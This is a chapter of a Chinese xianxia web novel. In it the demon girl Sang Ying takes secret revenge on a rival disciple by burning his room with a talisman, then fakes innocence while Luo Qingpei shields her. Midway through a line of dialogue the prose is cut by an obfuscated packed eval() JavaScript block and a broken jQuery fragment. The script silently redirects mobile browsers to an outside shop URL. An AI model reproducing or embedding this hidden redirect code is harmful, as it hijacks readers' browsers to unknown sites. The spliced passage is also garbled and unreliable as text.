晚上回到蓬莱客房时,在院子里碰见迎面而来的方灼。
大概遇到了什么事,心神不宁,差点撞到人过后又怒气冲天。
他撞到的是蓬莱的一个小弟子,就在桑樱和洛青裴面前撞了人。
他面露不悦,将那小弟子推开,而后不善的看向桑樱。
桑樱躲到洛青裴身后,冒出一个脑袋,怯生生的。
方灼肯定是没想起来的,耐不住他想找她出气。
一看就知道是安悦然和于初霁惹他不快了,可是跟桑樱没关系。
她一晚上都跟洛青裴待在一起。
因方灼不善,洛青裴投过去的眼神也度上冷漠。
“哼,洛青裴让开!”
洛青裴声音平静:“方师弟,不叫师兄,没大没小。”
方灼其实比洛青裴大五岁,但是他毕竟后来才入宗门,师兄弟的分得清楚。
方灼咬着后槽牙:“洛师兄,你这般偏袒这妖女,也不知她给你下了什么药?”
虽然桑樱的确是妖女,可她没有给洛青裴下情蛊啊。
桑樱窃笑,方灼又在污蔑人了。
面上是泪珠将落不落,口中声音哽咽:“我不是妖女……”
洛青裴将女子整个人遮住,冷道:“方师弟,你污蔑人的手段倒是不见长啊!”
他还在想桑樱眼泪怎么又不要钱的出来了。
方灼怒急,指着洛青裴的鼻子,“你”了半天,没你出什么名堂。
洛青裴难得理他,侧身给桑樱擦泪。
“洛师兄,难道你要站在外人那边?”
洛青裴脸色沉下去,显然已经生气:“什么外人?什么药?她是一个清白女子,在你口中却反被诬陷。”
洛青裴一边伸手在身侧安抚桑樱:“我们与她在幻境中一年,今夜我将她从海市送回。而你不分青红皂白的诬陷,就要毁了她的名声。”
桑樱把玩洛青裴纤长的手指。
方灼如鲠在喉,听到洛青裴还在继续:“你将自己看的比别人重,轻易的就想要毁掉别人的成果。我劝你最好收敛些,若还有下次……”
洛青裴没有把话再说下去,但是他冷冽的眼神已经说明了一切。
其实洛青裴不在意他自私与否,只是这次他撞上的人是桑樱。
“洛师兄……”
洛青裴瞪一眼后,方灼再也不敢说一句话。
气哼哼的离开,却见桑樱还在玩洛青裴的手指,心中更气。
洛青裴顺势把她拉到自己身旁,垂眸问她:“玩够了吗?”
桑樱与他十指交握:“你明天就要走了,可是今天晚上这样,他肯定不服气。后面要是他还想来对付我怎么办?”
洛青裴将桑樱牵上楼,桑樱感觉手心发凉:“你要干什么?”
想把手抽出来,努力半天,却一点用也没有。
“松手。”
等到手心的感觉下去过后,洛青裴才松手。
桑樱一看,多了一朵莲花,她问:“这是什么?”
洛青裴手指在她手心上的莲花上画了个圈:“这是一道水系法术印记,上面有我的灵力。遇到危险的时候,只要你在心中想这个印记,一掌拍出去就能使出。”
怕她不明白,洛青裴又道:“到时候这个印记就会打在他的身上。我的灵力就能跟他作对了,不用你来对付他,我来对付他就好。”
桑樱心中涌起莫名的情绪,像是吃完梅子后,口中存留酸甜,还想再吃一颗。
“那我就先谢过裴道长了。”
洛青裴松她到门前:“现在可以进去了吗?”
桑樱推开房门,跨进一步,转身:“我进来了,那你回去吧。”
洛青裴松开桑樱的手,闪身离去。
目送洛青裴离去,桑樱关好门。
洛青裴要回一趟扬州,从他母亲那里拿到那个镯子。
桑樱今日被方灼如此言语冲撞,虽然知道洛青裴已经警告过他,帮她出了这口气。
可是心里的愤怒怎能得消?
她划破自己的指尖,挤出一滴血。随手拿起一支笔粘上指尖血液。在旁边黄色的符纸上画上符文。
“樱樱,这是在干什么呀?”梦仙从她们连通的五感中看到她的行为,问道。
桑樱清淡解释:“这家伙太坏了,我得惩戒一下他。”
听闻方灼爱干净又不喜旁人动他的东西。
那么,她就要用这张符纸把他的屋子里搅得天翻地覆。
随着神魂注入符纸,桑樱唇边浮起一丝笑意。
“樱樱,以你的行事作风,不应当是斩草除根吗?干脆直接杀了他。”
桑樱凝视黑暗:“他毕竟是昆仑的弟子,若是不明不白的死了,我与他时常闹冲突,恐怕还会被怀疑。”
“先给他一点教训,他在幻境里的时候已经害过我一次了,如果再有第二次就立马杀了他。”此刻桑樱眼神狠厉,半点温柔之色也无。
梦仙同意桑樱的主意,毕竟她们在外麻烦能少一点是一点。
桑樱随意操控了一只鸟将符纸带到方灼屋外,然后从窗子边无声进入。
这符纸被桑樱放得很小,被鸟儿扔进去的时候也无声无息。
方灼此刻正在蓬莱海边对着海水出气,也不知自己屋子里即将迎来一场浩劫。
而桑樱则在换了衣服过后,去找代初芽了。
当夜,方灼好不容易消点气,刚回到屋子里,就看到满地的狼藉。
杯子、被子、烛灯,什么的全都掉在地上,乱七八糟,还有烛火将他的被子点燃,整个屋子都差点烧起来。
最后还是当天晚上值夜的小弟子发现了,赶紧将火灭掉。
虽然火被灭掉,但屋子被烧了大半边也是不能再看了,而且乱得出奇。
方灼怒火中烧,感觉今日做事总不顺。
“谁干的?!”暴怒的吼声,引来了不少人。
蓬莱弟子赶紧请来了他们的师兄来处理这件事情。
虽然方灼只是暂时住在这个屋子里,但里面的确有他不少东西,这一把火烧了不少。
而且烧的毕竟是蓬莱的屋子,蓬莱今天怎么说也是要出面的。
和昆仑的人自然也会出面,桑樱自认为她现在已经是昆仑的人了。
所以,当桑樱出来,看到方灼吃瘪愤怒的表情,别说心里有多爽了。
可是她毕竟还得演戏,所以未曾表现出来,只是一副很惋惜的样子。
仿佛这被烧的屋子是她的。
方灼现在只想立马查出到底是谁烧了他的东西。
桑樱自有隐息花作为保证,绝对不会让他查出来。
洛青裴本来今天晚上就打算走的,结果还没来得及走。外面突然传来动静,出去一看,发现是方灼的屋子被烧了。
这下可好了,本来今晚就要走的,看来只能等明天早上了。
蓬莱弟子们见他如此愤怒,也是战战兢兢。
“方道友,这件事情我们定给你一个交代。”蓬莱弟子道。
洛青裴到的时候,看到的就是一脸怒容的方灼和旁边正陪笑的蓬莱弟子。
方灼见洛青裴来,想到洛青裴在楼下对自己说过的话。
他突然就怀疑这件事是洛青裴做的。
于是这会儿也没了什么师兄弟之分,上前质问道:“洛青裴,是你做的对不对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792361|210435||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?”
周遭霎时一片寂静,桑樱敛了神色,方灼竟然怀疑是洛青裴。
洛青裴面无表情,他只是说:“证据呢?”
方灼哽住。
洛青裴知道不是自己做的,也知道他拿不出证据,所以便好整以暇地打量周遭人的神色。
方灼虽然有时行事冲动,但近日里都没听说他得罪过哪方人。
说起来,要是真有得罪的人,也就是今天夜里的他和桑樱。
有个不成熟的想法在脑子里疯长,洛青裴壮似无意地朝桑樱瞧去。
女子仍很惋惜的样子,只是她的惋惜似乎并不在眼中。
跟他对上视线时,更能够看清她眼里根本就没有什么惋惜之情。
不过与他一样,都是一个看热闹不嫌事大之人。
旁人或许看不出来,但他自己就是这样的人,当然能够一眼看出。
对桑樱又多了几分了解,他只觉有些高兴。
原本刻薄的表情也因此有了点温和之色。
方灼看两人眉来眼去,一股火窜上来,指着旁边的女子道:“桑樱,就是你,想不到你竟是这般睚眦必报之人!”
桑樱忙摆手,看起来很慌张:“怎么可能会是我呢?我一介凡人没有灵力,怎么能用灵火烧了你的东西?”
众人反应过来,方灼已经是病急乱投医了。
“你可以用灵石!”方灼狡辩。
桑樱:“可是我不会画符,也不会用灵石画符……”
蓬莱弟子忙打圆场:“方道友啊,你看我们蓬莱再给你找间屋子,东西能修复的定能帮你修复了。这凶手,我们也尽力帮你找出来。不过我观之姑娘的确是个凡人,凡人便做不得这凶手。”
方灼冷笑,还是那句话:“凡人亦可利用灵石催动他人画好的符纸。”
桑樱好似受了天大的委屈,泪珠止不住的掉。
代初芽果真替她说话:“你胡说,桑姐姐今天晚上回来以后都跟我一起,怎么可能去放火烧你的东西?”
桑樱更难过些,为自己辩解:“自从今夜我从海市回来以后,便一直待在初芽身边。初芽的房间就在我旁边,我如果是出去做了什么,她立马就能察觉。”
“况且,就算我用灵石催动了符纸,那么火燃起来的时候,我的那点拙劣伎俩,又怎么可能瞒得过各位道长?”
周围人立刻正色:“对呀,若是凡人用灵石催动符纸,痕迹明显,我们一定是发现得了的。”
方灼气道:“那你们说是谁?今夜若是不把这个人给我找出来,你们都别想睡!”
接着将自己的长剑刺入地砖,灵力浪潮翻涌,鼓起好一阵风。
洛青裴指尖划过虚空,气浪瞬间停下,他漫不经心:“师弟,别闹了,不能因为你一个人的事就影响大家的休息。”
“不行!”
方灼说话时几乎是贴着洛青裴的面门,洛青裴蹙眉推开眼前的人。
“没有证据就不要胡说。”洛青裴转而对旁边蓬莱弟子道,“既然只烧了师弟一人的东西,那么说明不是外人闹事。想来只是普通的捉弄。诸位蓬莱的道友,休息到明日再查就是了。”
洛青裴指尹却过来,在尹却肩上很关心的拍了两下:“好好开导开导你师兄,那人今日出了气,下次应当就不会再做什么了。”
尹却吃痛,却因眼前这个笑面虎还在而不敢表现出来。
“好,我知道了,师兄。”
洛青裴扫了方灼一眼,方灼会意,是说他再闹事就别怪他不客气。
至此,只好作罢。
人们各自回到自己的屋子里,洛青裴最后看了桑樱一眼,踏上前往扬州的征途。